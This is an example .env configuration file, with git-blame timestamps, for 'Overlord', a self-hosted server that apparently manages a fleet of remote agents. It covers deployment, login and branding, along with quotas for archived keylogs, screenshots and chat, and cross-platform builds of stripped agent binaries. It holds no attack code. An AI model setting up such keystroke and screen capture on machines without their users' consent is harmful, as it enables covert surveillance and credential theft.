2026-03-05 00:04:26 -06:00
|
|
|
# Overlord Configuration (Optional Overrides)
|
|
|
|
|
#
|
|
|
|
|
# Most users don't need to create a .env file!
|
|
|
|
|
# The docker-compose.yml has sensible defaults.
|
|
|
|
|
#
|
|
|
|
|
# On first startup, secrets are auto-generated and persisted in ./data/save.json
|
|
|
|
|
# when not explicitly provided.
|
|
|
|
|
#
|
|
|
|
|
# Only create .env if you want to customize:
|
|
|
|
|
|
|
|
|
|
# ============================================
|
|
|
|
|
# PRODUCTION: Use pre-built image
|
|
|
|
|
# ============================================
|
|
|
|
|
# Set this to pull from registry instead of building locally
|
|
|
|
|
# DOCKER_IMAGE=ghcr.io/yourusername/overlord-server:latest
|
|
|
|
|
|
|
|
|
|
# ============================================
|
|
|
|
|
# OPTIONAL: Custom initial admin username
|
|
|
|
|
# ============================================
|
|
|
|
|
# Default is "admin" - change if you prefer a different username
|
|
|
|
|
# OVERLORD_USER=myadmin
|
|
|
|
|
|
|
|
|
|
# OPTIONAL: Custom initial admin password
|
2026-03-06 14:45:15 -06:00
|
|
|
# Default is "admin"
|
|
|
|
|
# OVERLORD_PASS=admin
|
2026-03-05 00:04:26 -06:00
|
|
|
|
|
|
|
|
# ============================================
|
|
|
|
|
# OPTIONAL: Custom port
|
|
|
|
|
# ============================================
|
|
|
|
|
# Default is 5173
|
|
|
|
|
# PORT=8080
|
2026-07-18 20:22:16 -05:00
|
|
|
# Bind address inside the server. For Linux host-network reverse-proxy deployments,
|
|
|
|
|
# use 127.0.0.1. Docker Desktop containers must keep this at 0.0.0.0.
|
|
|
|
|
# HOST=0.0.0.0
|
|
|
|
|
|
|
|
|
|
# Bind the Docker Desktop published port to this host address.
|
|
|
|
|
# Set 127.0.0.1 when nginx/Caddy runs on the host.
|
|
|
|
|
# OVERLORD_PUBLISH_HOST=127.0.0.1
|
|
|
|
|
|
|
|
|
|
# Serve HTTP internally and require a trusted reverse proxy to terminate public TLS.
|
|
|
|
|
# The public browser/agent URL must remain HTTPS/WSS.
|
|
|
|
|
# OVERLORD_TLS_OFFLOAD=true
|
|
|
|
|
# OVERLORD_HEALTHCHECK_URL=http://127.0.0.1:5173/health
|
2026-03-05 00:04:26 -06:00
|
|
|
|
2026-07-30 00:22:08 -05:00
|
|
|
# WebRTC TURN relay ports. Docker Desktop on Windows defaults to 40000-40040
|
|
|
|
|
# because Windows commonly reserves ports in the 49152+ dynamic range.
|
|
|
|
|
# OVERLORD_TURN_MIN_PORT=40000
|
|
|
|
|
# OVERLORD_TURN_MAX_PORT=40040
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
# ============================================
|
|
|
|
|
# ADVANCED: Custom JWT secret
|
|
|
|
|
# ============================================
|
|
|
|
|
# Leave empty to auto-generate and persist to save.json (recommended)
|
|
|
|
|
# JWT_SECRET=
|
|
|
|
|
|
|
|
|
|
# OPTIONAL: Agent authentication token
|
|
|
|
|
# Leave empty to auto-generate and persist to save.json
|
|
|
|
|
# OVERLORD_AGENT_TOKEN=
|
|
|
|
|
|
2026-08-24 09:35:03 -05:00
|
|
|
# Recommended: pin browser Origin/CSRF checks to the externally visible origin.
|
|
|
|
|
# This is especially important behind TLS offload or a reverse proxy.
|
|
|
|
|
# OVERLORD_PUBLIC_ORIGIN=https://overlord.example.com
|
|
|
|
|
|
|
|
|
|
# When forwarding headers arrive from a public-address reverse proxy, list the
|
|
|
|
|
# proxy's immediate IP here (comma-separated). Only loopback peers are trusted
|
|
|
|
|
# automatically; private container/LAN proxy addresses must also be listed.
|
|
|
|
|
# OVERLORD_TRUSTED_PROXY_IPS=203.0.113.10
|
|
|
|
|
|
|
|
|
|
# Legacy query-token clients remain supported. Prefer X-Agent-Token for new
|
|
|
|
|
# clients; set this to false once every deployed client has migrated.
|
|
|
|
|
# OVERLORD_ALLOW_AGENT_TOKEN_QUERY=false
|
|
|
|
|
# Legacy password-protected file-share links remain supported. Prefer the
|
|
|
|
|
# X-Download-Password header; set this to false to reject query secrets.
|
|
|
|
|
# OVERLORD_ALLOW_FILE_SHARE_PASSWORD_QUERY=false
|
|
|
|
|
|
|
|
|
|
# Bound unapproved identity storage if an agent token is leaked. Pending rows
|
|
|
|
|
# expire after seven days and are capped globally/per observed source IP.
|
|
|
|
|
# OVERLORD_PENDING_ENROLLMENT_TTL_HOURS=168
|
|
|
|
|
# OVERLORD_MAX_PENDING_ENROLLMENTS=100000
|
|
|
|
|
# OVERLORD_MAX_PENDING_ENROLLMENTS_PER_IP=10000
|
|
|
|
|
# OVERLORD_MAX_PREAUTH_SOCKETS_GLOBAL=100000
|
|
|
|
|
# OVERLORD_MAX_PREAUTH_SOCKETS_PER_IP=10000
|
|
|
|
|
# OVERLORD_MAX_ENROLLMENT_VERIFICATIONS=4096
|
|
|
|
|
# OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPTS_PER_SECOND=100000
|
|
|
|
|
# OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPT_BURST=200000
|
|
|
|
|
|
|
|
|
|
# Generous defaults avoid dropping frames in large fleets; lower these if the
|
|
|
|
|
# server operator wants explicit memory/backpressure limits.
|
|
|
|
|
# OVERLORD_THUMBNAIL_PENDING_MAX_COUNT=512
|
|
|
|
|
# OVERLORD_THUMBNAIL_PENDING_MAX_BYTES=536870912
|
|
|
|
|
# OVERLORD_THUMBNAIL_QUEUE_MAX=512
|
|
|
|
|
# OVERLORD_THUMBNAIL_CACHE_MAX_BYTES=1073741824
|
|
|
|
|
# OVERLORD_THUMBNAIL_REQUEST_MAX=4096
|
|
|
|
|
# OVERLORD_THUMBNAIL_WAITER_ID_MAX=4096
|
|
|
|
|
# OVERLORD_THUMBNAIL_WAITER_MAX=8192
|
|
|
|
|
|
|
|
|
|
# Notification screenshot storage is bounded transactionally. Byte values are
|
|
|
|
|
# raw bytes. Uncomment to impose lower operator-selected retention limits.
|
|
|
|
|
# OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_COUNT=10000
|
|
|
|
|
# OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_BYTES=1073741824
|
|
|
|
|
# OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_COUNT=100000
|
|
|
|
|
# OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_BYTES=17179869184
|
|
|
|
|
|
|
|
|
|
# Notification metadata history is also bounded per client and fleet-wide.
|
|
|
|
|
# Oldest rows and linked screenshots are pruned atomically at these limits.
|
|
|
|
|
# OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_COUNT=100000
|
|
|
|
|
# OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_BYTES=1073741824
|
|
|
|
|
# OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_COUNT=1000000
|
|
|
|
|
# OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_BYTES=17179869184
|
|
|
|
|
|
|
|
|
|
# Chat-plugin fleet retention quotas. These prevent many approved client
|
|
|
|
|
# identities from multiplying the built-in per-client message/attachment caps.
|
|
|
|
|
# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGES=1000000
|
|
|
|
|
# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGE_BYTES=17179869184
|
|
|
|
|
# OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_ATTACHMENT_BYTES=17179869184
|
|
|
|
|
|
|
|
|
|
# Fleet-wide archived keylog quotas supplement the built-in per-client cap.
|
|
|
|
|
# Oldest rows and their full-text-search entries are pruned first.
|
|
|
|
|
# OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_FILES=1000000
|
|
|
|
|
# OVERLORD_INPUT_ARCHIVE_GLOBAL_MAX_BYTES=68719476736
|
|
|
|
|
|
|
|
|
|
# Audit retention is opt-in. Uncomment either setting to prune old history.
|
|
|
|
|
# OVERLORD_AUDIT_RETENTION_DAYS=90
|
|
|
|
|
# OVERLORD_AUDIT_MAX_ROWS=250000
|
|
|
|
|
|
|
|
|
|
# Web Push subscriptions are capped per account and server-wide. When an
|
|
|
|
|
# account reaches its cap, registering a new browser replaces its oldest entry.
|
|
|
|
|
# Delivery uses small batches so a large installation cannot create an
|
|
|
|
|
# unbounded number of simultaneous outbound requests.
|
|
|
|
|
# OVERLORD_MAX_PUSH_SUBSCRIPTIONS_PER_USER=10
|
|
|
|
|
# OVERLORD_MAX_PUSH_SUBSCRIPTIONS=10000
|
|
|
|
|
# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX=20
|
|
|
|
|
# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS=60
|
|
|
|
|
# OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS=60
|
|
|
|
|
# OVERLORD_WEB_PUSH_DELIVERY_CONCURRENCY=8
|
|
|
|
|
# OVERLORD_WEB_PUSH_DELIVERY_BATCH_SIZE=100
|
|
|
|
|
|
2026-07-14 00:03:55 -05:00
|
|
|
# OPTIONAL: Solana publisher RPC request limits (per signed-in user)
|
|
|
|
|
# OVERLORD_SOL_PUBLISH_RATE_LIMIT_MAX=3
|
|
|
|
|
# OVERLORD_SOL_PUBLISH_RATE_LIMIT_WINDOW_SECONDS=300
|
|
|
|
|
# OVERLORD_SOL_PUBLISH_RATE_LIMIT_LOCKOUT_SECONDS=300
|
|
|
|
|
# OVERLORD_SOL_BALANCE_RATE_LIMIT_MAX=12
|
|
|
|
|
# OVERLORD_SOL_BALANCE_RATE_LIMIT_WINDOW_SECONDS=60
|
|
|
|
|
# OVERLORD_SOL_BALANCE_RATE_LIMIT_LOCKOUT_SECONDS=60
|
|
|
|
|
|
2026-07-08 20:34:25 -05:00
|
|
|
# ============================================
|
|
|
|
|
# OPTIONAL: OIDC / SSO login
|
|
|
|
|
# ============================================
|
|
|
|
|
# Generic OIDC works with providers such as Authentik, Authelia, Keycloak, Zitadel, and Dex.
|
|
|
|
|
# Configure your provider callback/redirect URI as:
|
|
|
|
|
# https://YOUR_OVERLORD_HOST/api/oidc/callback
|
|
|
|
|
# Keep local username/password login enabled as a fallback.
|
|
|
|
|
# OVERLORD_OIDC_ENABLED=true
|
|
|
|
|
# OVERLORD_OIDC_LABEL=Sign in with SSO
|
|
|
|
|
# OVERLORD_OIDC_ISSUER=https://auth.example.com/application/o/overlord/
|
|
|
|
|
# OVERLORD_OIDC_CLIENT_ID=overlord
|
|
|
|
|
# OVERLORD_OIDC_CLIENT_SECRET=change-me
|
|
|
|
|
# OVERLORD_OIDC_REDIRECT_URI=https://overlord.example.com/api/oidc/callback
|
|
|
|
|
# OVERLORD_OIDC_DEFAULT_ROLE=viewer
|
|
|
|
|
# OVERLORD_OIDC_ALLOWED_DOMAINS=example.com
|
|
|
|
|
# OVERLORD_OIDC_ADMIN_GROUPS=overlord-admins
|
|
|
|
|
# OVERLORD_OIDC_OPERATOR_GROUPS=overlord-operators
|
|
|
|
|
# OVERLORD_OIDC_VIEWER_GROUPS=overlord-viewers
|
|
|
|
|
|
|
|
|
|
# ============================================
|
|
|
|
|
# OPTIONAL: Login screen branding
|
|
|
|
|
# ============================================
|
|
|
|
|
# Use a logo URL, or leave it empty and set a Font Awesome icon class.
|
|
|
|
|
# Logo URLs may be absolute http(s) URLs or root-relative paths such as /assets/logo.png.
|
|
|
|
|
# OVERLORD_LOGIN_BRAND_NAME=Acme SOC
|
2026-07-08 21:47:57 -05:00
|
|
|
# OVERLORD_NAV_BRAND_NAME=Acme Console
|
|
|
|
|
# OVERLORD_BRAND_ACCENT_COLOR=#14b8a6
|
2026-07-08 20:34:25 -05:00
|
|
|
# OVERLORD_LOGIN_TITLE=Welcome to Acme Overlord
|
|
|
|
|
# OVERLORD_LOGIN_SUBTITLE=Sign in with your Acme identity
|
|
|
|
|
# OVERLORD_LOGIN_LOGO_URL=/assets/acme-logo.png
|
|
|
|
|
# OVERLORD_LOGIN_LOGO_ALT=Acme logo
|
2026-07-08 21:47:57 -05:00
|
|
|
# OVERLORD_NAV_LOGO_URL=/assets/acme-nav-logo.png
|
|
|
|
|
# OVERLORD_NAV_LOGO_ALT=Acme logo
|
|
|
|
|
# OVERLORD_LOGIN_HERO_IMAGE_URL=/assets/acme-login.jpg
|
|
|
|
|
# OVERLORD_LOGIN_HERO_IMAGE_ALT=Acme operations center
|
|
|
|
|
# OVERLORD_LOGIN_FOOTER_TEXT=Authorized Acme access only
|
|
|
|
|
# OVERLORD_LOGIN_SUPPORT_TEXT=Need access help?
|
|
|
|
|
# OVERLORD_LOGIN_SUPPORT_URL=https://help.example.com
|
2026-07-08 20:34:25 -05:00
|
|
|
# OVERLORD_LOGIN_ICON_CLASS=fa-solid fa-shield-halved
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
# ============================================
|
|
|
|
|
# ADVANCED: Custom TLS certificates
|
|
|
|
|
# ============================================
|
|
|
|
|
# Leave as defaults to use auto-generated self-signed certs
|
|
|
|
|
# OVERLORD_TLS_CERT=/custom/path/server.crt
|
|
|
|
|
# OVERLORD_TLS_KEY=/custom/path/server.key
|
|
|
|
|
|
2026-05-13 23:25:49 -05:00
|
|
|
# ============================================
|
|
|
|
|
# ADVANCED: Reverse proxy / domain deployments
|
|
|
|
|
# ============================================
|
|
|
|
|
# If Overlord sits behind a reverse proxy (nginx, Caddy, Cloudflare, Traefik, Render,
|
|
|
|
|
# etc.), the server otherwise sees the proxy's IP for every agent connection — the
|
|
|
|
|
# dashboard, audit log, and IP bans all end up showing the proxy/Docker bridge IP
|
|
|
|
|
# (commonly 172.x.x.x) instead of the real client. Set this to true ONLY when a
|
|
|
|
|
# trusted reverse proxy is in front of Overlord; otherwise agents could spoof
|
|
|
|
|
# their IP by sending their own X-Forwarded-For header. Auto-enabled when
|
|
|
|
|
# OVERLORD_TLS_OFFLOAD=true. Honors X-Forwarded-For, X-Real-IP, CF-Connecting-IP.
|
|
|
|
|
# OVERLORD_TRUST_PROXY=true
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
# Agent builder settings (only needed if building agents)
|
|
|
|
|
# TARGETS=windows/amd64,windows/386,windows/arm64,linux/amd64,linux/arm64,linux/arm/v7,darwin/amd64,darwin/arm64
|
|
|
|
|
# GO_BUILD_FLAGS=-trimpath
|
|
|
|
|
# LDFLAGS=-s -w
|